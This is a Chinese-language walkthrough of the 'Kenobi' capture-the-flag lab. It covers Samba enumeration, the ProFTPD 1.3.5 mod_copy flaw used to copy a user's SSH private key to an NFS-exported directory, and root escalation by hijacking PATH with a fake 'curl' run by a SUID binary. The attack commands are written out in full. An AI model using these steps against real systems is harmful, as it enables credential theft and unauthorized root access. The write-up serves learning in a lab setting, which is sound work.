Kenobi_writeup
枚举 Samba 的共享,通过易受攻击的 proftpd 版本,然后通过路径变量来提升权限
枚举 Samba 的份额
Samba 是适用于 Linux 和 Unix 的标准 Windows 互作性程序套件。它允许最终用户访问和使用公司内部网或互联网上的文件、打印机和其他常见共享资源。它通常被称为网络文件系统。
Samba 基于服务器消息块 (SMB) 的通用客户端/服务器协议。SMB 专为 Windows 开发,如果没有 Samba,其他计算机平台将与 Windows 计算机隔离,即使它们属于同一网络。
我这里先使用 nmap 简单扫描了一下端口情况
发现了 445 端口,然后使用 nmap 来枚举 SMB 共享的计算机
3
使用 smbclient //10.10.20.152/anonymous
链接,使用 help
可以查看可用命令
使用 dir
来列出文件
log.txt
可以使用 get
命令进行下载文件
发现了 SSH 创建公私钥的一些信息,看到了私钥的存放路径以及密钥的身份是 kenobi
,同时发现了 P肉FTPD 服务器的信息
/var
使用 ProFtpd 获取初始访问权限
使用 nc 连接 ftp 服务就可以查看到 ProFPTD 的版本
What is the version?1.3.5
在获得了软件以及版本之后,就可以使用 searchsploit
来查找特定软件版本漏洞
发现存在四个漏洞
mod_copy 模块实现 SITE CPFR 和 SITE CPTO 命令,这些命令可用于将文件/目录从服务器上的一个位置复制到另一个位置。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。
那么就可以通过这个来将 Kenobi 用户的私钥复制到 /var
目录然后将这个目录挂载到我们自己的机器上从而获取私钥
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
然后挂载目录
mkdir /mnt/kenobiNFS
mount 10.10.20.152:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
cp /mnt/kenobiNFS/tmp/id_rsa .
#复制私钥到当前文件夹
sudo chmod 600 id_rsa
#将私钥文件权限提高,不然所有用户都有访问权限会导致ssh连接的时候,SSH出于安全考虑,拒绝接受这个私钥,需要输入密码
sudo ssh -i id_rsa kenobi@10.10.20.152
使用 cat user.txt
就可以获取 flag
使用路径变量进行权限提升
/usr/bin/menu
3
string /usr/bin/menu
可以用于在二进制文件上查找可读字符串
发现文件直接使用 curl -I localhost
,curl 没有使用完整路径,那就说明是通过环境变量来搜寻的
那我们可以添加环境变量,使运行 menu
程序时候,调用的 curl
文件是我们可以控制的
echo /bin/sh > curl
#/bin/sh就是一个指向shell程序的符号链接,可以通过这个文件来启动shell,
chmod 777 curl
export PATH=/tmp:$PATH
#将tmp目录作为环境变量
如果 /bin/sh 或其符号链接所指向的 shell 程序有 SUID(Set User ID) 权限,用户在执行这个文件时会以文件所有者(通常是 root)身份来运行,而不是当前用户。
那么通过运行 menu
这个二进制文件,我们就可以获得 root 权限
从而获得最后的 flag